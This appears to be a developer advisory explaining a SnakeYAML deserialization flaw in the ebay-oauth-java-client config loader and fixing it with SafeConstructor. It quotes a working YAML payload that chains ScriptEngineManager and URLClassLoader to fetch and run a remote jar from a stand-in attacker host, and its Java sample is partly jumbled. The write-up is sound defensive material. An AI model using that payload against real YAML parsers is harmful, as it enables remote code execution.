We use SnakeYAML
for simple parsing of YAML files in Java, as part of ebay-oauth-java-client
configuration. We were made aware of a vulnerability within the code due
to the usage of Yaml yaml = new Yaml()
and then following
it with yaml.loadAs(fis, Map.class);
. This issue was first
reported as part of Kubernetes
java client, but affects any code which uses SnakeYaml for reading
generic types.
Yaml allows a class type to be tagged in the file using its name such
as !!java.net.URLClassLoader
. So when
yaml.loadAs
loads the file, it instantiates objects for the
tagged classes in the file. SnakeYAML recommends addressing this issue
using type-safe-collections
where the object types are defined and a Constructor
object
is used to allow only specific types such as below. Reference
Constructor constructor = new Constructor(Car.class);//Car.class is root
= new TypeDescription(Car.class);
TypeDescription carDescription .putListPropertyType("wheels", Wheel.class);
carDescription.addTypeDescription(carDescription);
constructor= new Yaml(constructor); Yaml yaml
However, this does not work for generic types such as
java.util.Map
objects and such generic types are handled
specifically within SnakeYAML using tag:map
or
tag:sequence
for lists.
How does this work
The specifics of this issue is available in detail by the
original reporter. When the config file contains
some_var: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker-server.tld/poc.jar"]]]]
,
the default Constructor loads the ScriptEngineManager and attempts to
load the jar from a remote location and execute them.
How to address this
YAML specification defines a FailSafe
Schema which allows only str
,sequence
and
map
and prevents all other types from even being
instantiated. SnakeYaml follows this fail-safe schema using SafeConstructor.
Using the SafeConstructor to create
Yaml yaml = new Yaml(new SafeConstructor());
prevents any
arbitary class from getting loaded. For specific types, using
TypeDescription
and adding to the constructor object as
shown above ensures only the allowed types are instantiated.
How does this look
The below is an inside look of all the allowed types using the
default new Constructor()
and the
yamlClassConstructors
has the scalar
and
sequence
classes which allows the arbitrary class
instantiation.
However, once the new Constructor()
is substituted with
new SafeConstructor()
, the arbitrary code will fail with
the following error confirming that the issue has been addressed.